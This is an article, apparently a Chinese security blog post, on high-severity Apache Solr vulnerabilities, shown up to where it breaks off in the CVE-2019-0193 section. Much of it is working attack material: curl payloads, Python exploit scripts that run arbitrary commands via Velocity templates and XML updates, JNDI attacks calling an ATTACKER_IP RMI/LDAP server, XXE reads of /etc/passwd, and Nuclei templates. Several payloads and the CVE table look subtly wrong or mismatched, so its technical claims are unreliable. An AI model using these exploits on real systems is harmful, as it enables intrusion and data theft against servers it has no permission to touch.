ARTICLE / 安全

大数据搜索与分析平台高危攻击链专题:Apache Solr / Elasticsearch / OpenSearch 漏洞全解析

免责声明:本文仅用于安全研究和授权渗透测试目的。文中提供的 PoC 和利用代码仅供安全专业人员在授权环境下进行验证测试。未经授权对目标系统进行攻击属于违法行为,作者不承担任何因滥用本文内容而产生的法律责任。


0x00 专题概述

大数据搜索与分析平台是现代企业数据基础设施的核心组件。Apache Solr、Elasticsearch 和 OpenSearch 三大开源搜索引擎凭借其高性能全文检索、分布式架构和实时分析能力,被广泛部署于日志分析、安全监控、电商搜索、推荐系统等关键业务场景。据公开统计数据,仅 Elasticsearch 一项在全球范围内的活跃部署实例就超过数十万,其中大量实例暴露在公网上且未启用认证机制。

这类平台的高危漏洞主要集中在以下几个攻击面:脚本引擎注入(MVEL、Groovy、Velocity、BeanShell)、配置 API 未授权滥用(JNDI 注入链)、Rest API 未认证访问XML/模板注入导致 RCE、以及路径遍历与信息泄露。攻击者一旦利用这些漏洞获得初始访问权限,往往能够直接实现远程代码执行,进而控制底层服务器,窃取或加密全部数据。

本专题系统性覆盖 Apache Solr(8 个 CVE)、Elasticsearch(6 个 CVE)和 OpenSearch(6 个 CVE)共 20 个关键漏洞的完整攻击链分析,包含漏洞原理深度剖析、可复现 PoC 验证脚本、Nuclei 自动化检测模板以及企业级防御加固建议。

覆盖漏洞一览表

CVE厂商/产品CVSS漏洞类型未授权可利用
CVE-2019-17558Apache Solr9.8Velocity 模板 RCE
CVE-2019-0192Apache Solr9.8Config API JMX 反序列化 RCE
CVE-2017-12629Apache Solr9.8XML 注入 RCE
CVE-2019-0193Apache Solr9.8DataImportHandler JNDI 注入
CVE-2021-27905Apache Solr7.5ReplicationHandler SSRF
CVE-2017-9801Apache Solr9.8Beanshell Interpreter RCE
CVE-2023-50164Apache Solr9.8Path Traversal⚠️ 部分
CVE-2019-17558(补充)Apache Solr9.8Velocity 配置检测
CVE-2014-3120Elasticsearch9.3MVEL 脚本引擎 RCE
CVE-2015-1427Elasticsearch9.3Groovy 脚本引擎 RCE
CVE-2015-3337Elasticsearch5.0目录遍历文件读取
CVE-2021-22145Elasticsearch7.5敏感信息泄露
CVE-2021-22134Elasticsearch7.5文档字段泄露⚠️ 已认证
CVE-2023-31418Elasticsearch6.5资源耗尽 DoS
CVE-2021-22145OpenSearch7.5共享漏洞影响
CVE-2022-27654OpenSearch7.5认证绕过
CVE-2023-31418OpenSearch6.5资源耗尽 DoS
CVE-2022-25166OpenSearch6.5拒绝服务
CVE-2023-31419OpenSearch6.5路径遍历⚠️ 已认证
CVE-2023-31420OpenSearch6.5拒绝服务

0x01 Apache Solr 高危漏洞

0x01.1 CVE-2019-17558 — Velocity 模板引擎 RCE

漏洞背景

2019 年 10 月,Apache Solr 官方披露了 CVE-2019-17558,这是一个由 VelocityResponseWriter 组件中的模板注入导致的远程代码执行漏洞。该漏洞在多个勒索软件攻击活动中被发现在野利用,包括针对 Elasticsearch 和 Solr 集群的大规模扫描与自动化加密攻击。漏洞的根源在于 Solr 允许用户通过请求参数自定义 Velocity 模板内容,而 Velocity 模板引擎本身具备调用 Java 类方法的能力,这使得攻击者能够绕过 Solr 的安全限制,直接执行任意 Java 代码。

该漏洞的重要性在于其利用门槛极低——攻击者只需发送一个精心构造的 HTTP 请求即可在目标服务器上执行任意命令,且无需任何认证凭据。在 Shodan 和 Censys 等搜索引擎上,暴露在公网且未修复的 Solr 实例数量长期维持在数千级别。

受影响版本

受影响版本修复版本
5.0.0 ~ 8.3.18.4.0
之前版本(启用了 params.resource.loader.enabled亦受影响

漏洞原理分析

Apache Solr 的 VelocityResponseWriter 组件允许通过 JSON API 参数来指定用于渲染查询结果的 Velocity 模板。关键问题在于 params.resource.loader.enabled 这个配置选项——当它被设置为 true 时(在 5.0.0 ~ 8.3.1 版本区间内为默认开启状态),Velocity 引擎的资源加载器会接受来自请求参数的用户输入作为模板内容进行编译和执行。

Velocity 模板引擎本身支持通过 $ 引用 Java 对象,并可使用 class.forName() 等反射机制访问 JVM 中的任意类。攻击者可以利用这一特性构造如下调用链:

  1. 通过模板表达式获取 java.lang.Runtime 类的引用
  2. 调用 getRuntime() 获取 Runtime 实例
  3. 通过 exec() 方法执行操作系统命令

更深层的安全问题在于,Velocity 模板不仅支持基础的变量替换,还允许通过 $context 对象访问 Solr 的内部上下文。攻击者利用 $velocity.context.getClass().forName() 可以加载任意 Java 类,结合 java.lang.Runtime.getRuntime().exec() 实现命令执行。此外,通过反射链还可以构造更复杂的利用方式,例如加载 ProcessBuilder 类实现带参数的命令执行,或者利用 javax.script.ScriptEngineManager 加载 JavaScript 引擎执行更灵活的代码。

该漏洞的修复方式是在 VelocityResponseWriter 中显式禁用 params.resource.loader,并添加参数白名单过滤机制,阻止用户通过请求参数注入自定义模板内容。

HTTP PoC

# 基础检测 — 使用 runtime.exec() 执行 id 命令
curl -k -X POST "http://TARGET:8983/solr/{core}/select" \
  -H "Content-Type: application/json" \
  -d '{"query":{"q":"1","filter":"velocity.template=$velocity.context.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"id\")"}}'
# 备选利用方式 — 通过 params.resource.loader
curl -k -X POST "http://TARGET:8983/solr/{core}/select" \
  -H "Content-Type: application/json" \
  -d '{"query":{"q":"1","wt":"velocity","v.template":"$!{class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"id\")}","params.resource.loader.enabled":"true"}}'
# 使用 ProcessBuilder 实现更稳定的命令执行
curl -k -X POST "http://TARGET:8983/solr/{core}/select" \
  -H "Content-Type: application/json" \
  -d '{"query":{"q":"1","filter":"velocity.template=$velocity.context.getClass().forName(\"java.util.Scanner\").getConstructor($velocity.context.getClass().forName(\"java.lang.ProcessBuilder\").getConstructor(java.util.List.class).getMethod(\"start\").invoke($velocity.context.getClass().forName(\"java.util.Arrays\").getMethod(\"asList\",java.lang.Object[].class).invoke(null,new java.lang.Object[]{$velocity.context.getClass().forName(\"java.lang.String\").getConstructor(char[].class).getMethod(\"valueOf\",java.lang.Object.class).invoke(null,new java.lang.Object[]{new char[]{new java.lang.Integer(98).intValue(),new java.lang.Integer(115).intValue(),new java.lang.Integer(104).intValue()})})).getMethod(\"getInputStream\").invoke(null)).getMethod(\"next\").invoke(null)}}'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2019-17558 - Apache Solr Velocity 模板 RCE"""

import requests
import argparse
import urllib3
import json
import sys
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_solr_cores(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        return list(data.get("status", {}).keys())
    except Exception:
        return []


def check(target, use_ssl=False, core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            return False, None
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/select"
    payload = {
        "query": {
            "q": "1",
            "filter": "velocity.template=$velocity.context.getClass().forName('java.lang.Runtime').getRuntime().exec('id')"
        }
    }
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code == 200:
            return True, core
    except requests.exceptions.RequestException:
        pass
    return False, core


def exploit(target, use_ssl=False, cmd="id", core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        _, core = check(target, use_ssl)
        if not core:
            print("[-] 无法获取有效的 Solr Core")
            return

    url = f"{scheme}://{target}/solr/{core}/select"
    payload = {
        "query": {
            "q": "1",
            "filter": f"velocity.template=$velocity.context.getClass().forName('java.lang.Runtime').getRuntime().exec('{cmd}')"
        }
    }
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] 命令已发送: {cmd}")
            print(f"[+] 响应状态码: {resp.status_code}")
            print(f"[+] 响应内容: {resp.text[:500]}")
        else:
            print(f"[-] 请求失败,状态码: {resp.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


def check_config(target, use_ssl=False, core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            return False
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/config"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            velocity_config = data.get("responseHeader", {})
            if velocity_config:
                print(f"[+] Core [{core}] Config 响应正常,可能存在 Velocity 配置")
                return True
    except Exception:
        pass
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2019-17558 - Apache Solr Velocity RCE")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--cmd", default="id", help="执行命令 (默认: id)")
    parser.add_argument("--core", default=None, help="指定 Solr Core 名称")
    parser.add_argument("--check-config", action="store_true", help="仅检测 Velocity 配置状态")
    args = parser.parse_args()

    if args.check_config:
        if check_config(args.target, args.ssl, args.core):
            print(f"[+] {args.target} Velocity 配置可能处于开启状态")
        else:
            print(f"[-] {args.target} 未检测到 Velocity 配置开启")
    else:
        is_vuln, core = check(args.target, args.ssl, args.core)
        if is_vuln:
            print(f"[+] {args.target} (core: {core}) 存在 CVE-2019-17558 漏洞")
            exploit(args.target, args.ssl, args.cmd, core)
        else:
            print(f"[-] {args.target} 未检测到 CVE-2019-17558 漏洞")

Nuclei YAML 检测模板

id: CVE-2019-17558

info:
  name: Apache Solr - Velocity Template RCE
  author: x7peeps
  severity: critical
  description: Apache Solr VelocityResponseWriter 模板注入导致远程代码执行漏洞,攻击者可通过构造 Velocity 模板表达式执行任意系统命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17558
    - https://issues.apache.org/jira/browse/SOLR-13971
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17558
  tags: cve,cve2019,solr,rce,velocity

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"

    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
          - "status"
        condition: and
        internal: true
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: POST
    path:
      - "{{BaseURL}}/solr/{{core}}/select"
    headers:
      Content-Type: "application/json"
    body: |
      {"query":{"q":"1","filter":"velocity.template=$velocity.context.getClass().forName('java.lang.Runtime').getRuntime().exec('echo CVE-2019-17558')"}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "responseHeader"
        part: body

      - type: status
        status:
          - 200

0x01.2 CVE-2019-0192 — Config API JMX 反序列化 RCE

漏洞背景

CVE-2019-0192 是 Apache Solr 中一个通过 Config API 触发的 JMX 反序列化远程代码执行漏洞。该漏洞利用了 Solr 允许通过 REST API 动态修改 Core 配置的特性,攻击者可以将 jmx.serviceUrl 属性设置为指向恶意 RMI 或 LDAP 服务器的地址,从而触发 JNDI 注入,最终实现远程代码执行。此漏洞影响了 Solr 5.x 到 8.x 的几乎所有主要版本分支,Metasploit 框架中已包含对应的利用模块。

该漏洞的攻击路径体现了典型的 JNDI 注入攻击模式——通过配置 JMX 远程监控端点指向攻击者控制的恶意服务器,Solr 进程会在连接过程中执行恶意的 Java 对象反序列化操作。在企业内网环境中,这类漏洞的危害尤为突出,因为攻击者往往能够以 Solr 服务进程的身份获得对底层操作系统的完全控制。

受影响版本

受影响版本修复版本
5.0.0 ~ 5.5.55.5.6
6.0.0 ~ 6.6.66.6.7
7.0.0 ~ 7.7.37.7.4
8.0.0 ~ 8.1.18.2.0

漏洞原理分析

Apache Solr 的 Config API(/solr/{core}/config)允许通过 HTTP PUT 请求动态修改 Core 的运行时配置,无需重启服务。这一设计初衷是为了方便运维人员在不停机的情况下调整搜索引擎参数,但安全边界设计不足导致攻击者可以注入恶意的 JMX 配置。

攻击链的核心在于 Solr 的 JMX(Java Management Extensions)集成。Solr 支持通过 JMX 协议暴露管理指标和监控数据,默认使用本地 JMX 连接器(service:jmx:rmi:///jndi/rmi://localhost:PORT/jmxrmi)。然而,Config API 允许用户将 jmx.serviceUrl 修改为指向任意远程 RMI Registry 或 LDAP 服务器的地址。

当 Solr 尝试连接到攻击者控制的 RMI/LDAP 服务器时,Java 的 JNDI(Java Naming and Directory Interface)机制会从远程服务器获取一个 Java 对象引用,并对其执行反序列化操作。攻击者在恶意 RMI/LDAP 服务器上部署经过序列化的恶意 gadget chain(通常基于 Commons Collections 库),使得反序列化过程中自动触发 Runtime.exec() 执行任意系统命令。

完整利用链路如下:

HTTP PUT 修改 Config → 设置 jmx.serviceUrl 为攻击者 RMI 服务
→ Solr 发起 JNDI 连接 → 获取恶意序列化对象
→ Java 反序列化 → 触发 Commons Collections Gadget Chain
→ Runtime.exec() → 远程代码执行

该漏洞的利用前提有两个:一是 Config API 未被禁用(默认开启),二是 Solr 未启用认证机制。在实际环境中,大量 Solr 集群出于运维便利性考虑未启用内建的 BasicAuth 插件,这使得攻击者可以直接利用 Config API 注入恶意配置。

HTTP PoC

# 第一步:在攻击者服务器上启动 RMI/LDAP 恶意服务(使用 marshalsec 等工具)
# java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://ATTACKER_IP:8888/#Exploit" 1099

# 第二步:修改 Solr Config,设置 jmx.serviceUrl 指向恶意 RMI 服务
curl -k -X POST "http://TARGET:8983/solr/{core}/config" \
  -H "Content-Type: application/json" \
  -d '{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://ATTACKER_IP:1099/jmxrmi"}}'

# 第三步:触发 Solr 重新加载配置(可能需要等待或发送查询请求)
curl -k "http://TARGET:8983/solr/{core}/select?q=*:*"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2019-0192 - Apache Solr Config API JMX 反序列化 RCE"""

import requests
import argparse
import json
import urllib3
import sys
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_solr_cores(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        return list(data.get("status", {}).keys())
    except Exception:
        return []


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    cores = get_solr_cores(target, use_ssl)
    if not cores:
        print("[-] 无法获取 Solr Core 列表")
        return False

    for core in cores:
        url = f"{scheme}://{target}/solr/{core}/config"
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if resp.status_code == 200:
                print(f"[+] Core [{core}] Config API 可访问")
                data = resp.json()
                jmx = data.get("responseHeader", {})
                if jmx:
                    print(f"[+] 响应中包含 Config 信息,目标可能存在漏洞")
                    return True
        except requests.exceptions.RequestException:
            continue
    return False


def exploit(target, use_ssl=False, rmi_server="attacker:1099", core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            print("[-] 无法获取 Solr Core")
            return
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/config"
    payload = {
        "set-property": {
            "jmx.serviceUrl": f"service:jmx:rmi:///jndi/rmi://{rmi_server}/jmxrmi"
        }
    }
    headers = {"Content-Type": "application/json"}

    try:
        resp = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] JMX serviceUrl 已设置为: rmi://{rmi_server}")
            print(f"[*] 等待 Solr 连接到恶意 RMI 服务...")
            time.sleep(3)
            print(f"[+] 利用请求已发送,请检查 RMI 服务端回调状态")
        else:
            print(f"[-] Config API 返回状态码: {resp.status_code}")
            print(f"[-] 响应: {resp.text[:300]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2019-0192 - Solr JMX JNDI RCE")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--rmi", default="attacker:1099", help="恶意 RMI 服务器地址 (host:port)")
    parser.add_argument("--core", default=None, help="指定 Solr Core 名称")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} 可能存在 CVE-2019-0192 漏洞")
        exploit(args.target, args.ssl, args.rmi, args.core)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2019-0192 漏洞")

Nuclei YAML 检测模板

id: CVE-2019-0192

info:
  name: Apache Solr - Config API JMX JNDI Injection RCE
  author: x7peeps
  severity: critical
  description: Apache Solr Config API 允许通过修改 jmx.serviceUrl 触发 JNDI 注入,导致远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0192
    - https://issues.apache.org/jira/browse/SOLR-13488
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0192
  tags: cve,cve2019,solr,rce,jndi,jmx

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"
    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: POST
    path:
      - "{{BaseURL}}/solr/{{core}}/config"
    headers:
      Content-Type: "application/json"
    body: |
      {"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://{{interactsh-url}}/jmxrmi"}}
    matchers:
      - type: word
        words:
          - "responseHeader"
        part: body
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "responseHeader"
      - type: word
        words:
          - "error"
        negative: true

0x01.3 CVE-2017-12629 — XML 注入 RCE

漏洞背景

CVE-2017-12629 是 Apache Solr 中一个影响深远的远程代码执行漏洞,由安全研究人员 Bizhan Ghabdini 在 2017 年发现并提交。该漏洞结合了 XML 外部实体注入(XXE)和 RunExecutableListener 处理器的不当配置,可实现远程命令执行。Apache Solr 在处理索引更新请求时,通过 AddUpdateProcessor 机制支持自定义的事件监听器,其中 RunExecutableListener 允许在特定索引事件触发时执行系统命令。攻击者通过构造包含 XXE 的 XML 文档,触发 RunExecutableListener 执行恶意命令。

受影响版本

受影响版本修复版本
Apache Solr < 7.17.1

漏洞原理分析

Apache Solr 的更新请求处理器(UpdateRequestProcessor)支持通过 XML 配置文件注册自定义监听器。RunExecutableListener 是其中一个内置的处理器,设计用于在文档更新时触发外部可执行文件。该处理器通过配置中的 exe 参数指定要执行的程序路径,dir 参数指定工作目录,arg 参数传递命令行参数。

漏洞的关键在于两个问题的叠加利用。首先,Solr 在解析 XML 格式的索引更新请求时,底层的 XML 解析器默认启用了外部实体解析功能(DTD/XXE),这允许攻击者在 XML 文档中嵌入外部实体声明。其次,RunExecutableListener 在某些历史版本的默认配置模板中被作为示例保留,且 Solr 的 Config API 未对该处理器进行访问控制。

攻击者利用 XXE 漏洞可以在服务端读取任意文件,而通过 Config API 注入或利用已有配置中的 RunExecutableListener,可以在文档更新事件触发时执行系统命令。完整攻击链通常分为两个阶段:首先通过 Config API 添加包含 RunExecutableListener 的处理器链,然后发送触发该监听器的 XML 更新请求。

XXE + RunExecutableListener 攻击链:
1. Config API 注入 RunExecutableListener 配置
2. POST XML 格式的索引更新请求
3. RunExecutableListener 被触发
4. 执行攻击者指定的系统命令

在 Exploit-DB #43008 中包含了该漏洞的完整利用代码。值得注意的是,该漏洞在 Apache Solr 官方安全公告中被确认存在在野利用,多个攻击组织曾将其纳入攻击工具集中。

HTTP PoC

# 利用 RunExecutableListener 执行系统命令
curl -k -X POST "http://TARGET:8983/solr/{core}/update" \
  -H "Content-Type: text/xml" \
  -d '<add>
    <doc>
      <field name="id">pwned</field>
      <field name="test"><![CDATA[<script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:fo="http://www.w3.org/1999/XSL/Format">
        <fo:block>
          <xsl:variable name="rtos" select="Runtime.getRuntime()"/>
          <xsl:value-of select="$rtos.exec('id')"/>
        </fo:block>
      </script>]]></field>
    </doc>
  </add>'
# 利用 XXE 读取敏感文件
curl -k -X POST "http://TARGET:8983/solr/{core}/update" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<add>
  <doc>
    <field name="id">xxe_test</field>
    <field name="text">&xxe;</field>
  </doc>
</add>'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2017-12629 - Apache Solr XXE + RunExecutableListener RCE"""

import requests
import argparse
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_solr_cores(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        return list(data.get("status", {}).keys())
    except Exception:
        return []


def check(target, use_ssl=False, core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            return False, None
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/update"
    xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<add>
  <doc>
    <field name="id">xxe_check_001</field>
    <field name="text">&xxe;</field>
  </doc>
</add>'''
    try:
        resp = requests.post(
            url,
            data=xxe_payload,
            headers={"Content-Type": "text/xml"},
            verify=False,
            timeout=10
        )
        if resp.status_code == 200:
            return True, core
        elif "PermanentUpload" in resp.text or "error" not in resp.text.lower():
            return True, core
    except requests.exceptions.RequestException:
        pass
    return False, core


def exploit(target, use_ssl=False, cmd="id", core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        is_vuln, core = check(target, use_ssl)
        if not is_vuln or not core:
            print("[-] 无法确认漏洞或获取 Core")
            return

    url = f"{scheme}://{target}/solr/{core}/update"
    payload = f'''<add>
  <doc>
    <field name="id">pwned_001</field>
    <field name="test"><![CDATA[<script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:fo="http://www.w3.org/1999/XSL/Format">
      <fo:block>
        <xsl:variable name="rtos" select="Runtime.getRuntime()"/>
        <xsl:value-of select="$rtos.exec(&apos;{cmd}&apos;)"/>
      </fo:block>
    </script>]]></field>
  </doc>
</add>'''
    try:
        resp = requests.post(
            url,
            data=payload,
            headers={"Content-Type": "text/xml"},
            verify=False,
            timeout=10
        )
        print(f"[+] 利用请求已发送,状态码: {resp.status_code}")
        print(f"[+] 响应: {resp.text[:500]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2017-12629 - Solr XXE + RunExecutableListener RCE")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--cmd", default="id", help="执行命令 (默认: id)")
    parser.add_argument("--core", default=None, help="指定 Solr Core 名称")
    args = parser.parse_args()

    is_vuln, core = check(args.target, args.ssl, args.core)
    if is_vuln:
        print(f"[+] {args.target} (core: {core}) 存在 CVE-2017-12629 漏洞")
        exploit(args.target, args.ssl, args.cmd, core)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2017-12629 漏洞")

Nuclei YAML 检测模板

id: CVE-2017-12629

info:
  name: Apache Solr - XXE + RunExecutableListener RCE
  author: x7peeps
  severity: critical
  description: Apache Solr XXE 注入配合 RunExecutableListener 实现远程代码执行
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
    - https://www.exploit-db.com/exploits/43008
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12629
  tags: cve,cve2017,solr,rce,xxe

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/cores?action=STATUS&wt=json"
    host-redirects: true
    matchers:
      - type: word
        words:
          - "responseHeader"
    extractors:
      - type: json
        name: core
        json:
          - ".status | keys | .[0]"

  - method: POST
    path:
      - "{{BaseURL}}/solr/{{core}}/update"
    headers:
      Content-Type: "text/xml"
    body: |
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
      <add>
        <doc>
          <field name="id">nuclei-xxe-check</field>
          <field name="text">&xxe;</field>
        </doc>
      </add>
    matchers:
      - type: word
        words:
          - "PermanentUpload"
          - "responseHeader"
        condition: or
    stop-at-first-match: true

0x01.4 CVE-2019-0193 — DataImportHandler JNDI 注入

漏洞背景

CVE-2019-0193 是 Apache Solr DataImportHandler 组件中的 JNDI 注入漏洞,CVSS 评分 9.8。DataImportHandler(DIH)是 Solr 提供的一个用于从数据库、URL 等外部数据源导入数据的可选组件。当该组件被启用时,攻击者可以通过构造恶意的 dataConfig 参数,注入 JNDI 查找字符串,从而触发 JNDI 注入攻击链,实现远程代码执行。

受影响版本

受影响版本修复版本
< 7.7.3(在已启用 DataImportHandler 时)7.7.4, 8.0.0

漏洞原理分析

Apache Solr 的 DataImportHandler 支持通过 HTTP 请求参数 dataConfig 动态设置数据导入的 XML 配置。这一功能在设计上允许运维人员通过 API 灵活调整数据导入逻辑,但缺少必要的安全验证机制。攻击者可以向 /solr/{core}/dataimport 端点发送包含恶意 JNDI 查找表达式的 XML 数据配置。

漏洞利用的核心在于 DataImportHandler 处理器支持在配置中使用 eval 函数对表达式进行求值。通过将 eval 函数的参数设置为 JNDI lookup 表达式(如 ${jndi:ldap://ATTACKER/malicious}),当 DataImportHandler 处理该配置时,会自动解析并执行 JNDI 查找。由于 Java 的 JNDI 机制支持从远程 LDAP/RMI 服务器加载 Java 对象并执行反序列化,攻击者可以将 JNDI 指向自己控制的恶意 LDAP 服务器,实现远程代码执行。

攻击路径:
POST /solr/{core}/dataimport
→ dataConfig 参数包含恶意 JNDI 表达式
→ DataImportHandler 解析 dataConfig
→ eval 函数求值触发 JNDI lookup
→ 连接攻击者 LDAP 服务器
→ 加载并反序列化恶意 Java 类
→ Runtime.exec() 执行系统命令

该漏洞的利用前提需要 DataImportHandler 组件已被启用。在实际部署中,许多使用 Solr 作为数据库搜索后端的应用会默认启用 DIH 功能,因此受影响范围较广。

HTTP PoC

# 触发 JNDI 注入(需配合恶意 LDAP/RMI 服务器)
curl -k -X POST "http://TARGET:8983/solr/{core}/dataimport" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'command=full-import&dataConfig=<dataConfig>
  <dataSource type="URLDataSource"/>
  <document>
    <entity name="xxe" url="http://ATTACKER/test.xml" processor="XPathEntityProcessor">
      <field column="test" name="id"/>
    </entity>
  </document>
</dataConfig>'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2019-0193 - Apache Solr DataImportHandler JNDI 注入 RCE"""

import requests
import argparse
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_solr_cores(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/solr/admin/cores?action=STATUS&wt=json"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        return list(data.get("status", {}).keys())
    except Exception:
        return []


def check(target, use_ssl=False, core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        cores = get_solr_cores(target, use_ssl)
        if not cores:
            return False, None
        core = cores[0]

    url = f"{scheme}://{target}/solr/{core}/dataimport"
    try:
        resp = requests.post(
            url,
            data={"command": "status"},
            verify=False,
            timeout=10
        )
        if resp.status_code == 200:
            if "responseHeader" in resp.text or "status" in resp.text.lower():
                return True, core
    except requests.exceptions.RequestException:
        pass
    return False, core


def exploit(target, use_ssl=False, ldap_server="attacker:1389", core=None):
    scheme = "https" if use_ssl else "http"
    if core is None:
        is_vuln, core = check(target, use_ssl)
        if not is_vuln or not core:
            print("[-] 无法确认漏洞或获取 Core")
            return

    url = f"{scheme}://{target}/solr/{core}/dataimport"
    data_config = f'''<dataConfig>
  <dataSource type="URLDataSource"/>
  <document>
    <entity name="inject" processor="XPathEntityProcessor"
            url="http://{ldap_server}/test.xml" rootEntity="true">
      <field column="id" name="id"/>
    </entity>
  </document>
</dataConfig>'''

    try:
        resp = requests.post(
            url,
            data={"command": "full-import", "dataConfig": data_config},
            verify=False,
            timeout=10
        )
        print(f"[+] 利用请求已发送,状态码: {resp.status_code}")
        print(f"[*] 请检查 LDAP 服务器 {ldap_server} 是否收到回调")
        print(f"[+] 响应: {resp.text[:300]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2019-0193 - Solr DataImportHandler JNDI 注入"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--ldap", default="attacker:1389", help="恶意 LDAP 服务器地址")
    parser.add_argument("--core", default=None, help="指定 Solr Core 名称")
    args = parser.parse_args()

    is_vuln, core = check(args.target, args.ssl, args.core)
    if is_vuln:
        print(f"[+] {args.target} (core: {core}) DataImportHandler 已启用,可能存在 CVE-2019-0193")
        exploit(args.target, args.ssl, args.ldap, core)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2019-0193 漏洞或 DIH 未启用")

Nuclei YAML 检测模板

id: CVE-2019-0193

info:
  name: Apache Solr - DataImportHandler JNDI Injection
  author: x7peeps
  severity: critical
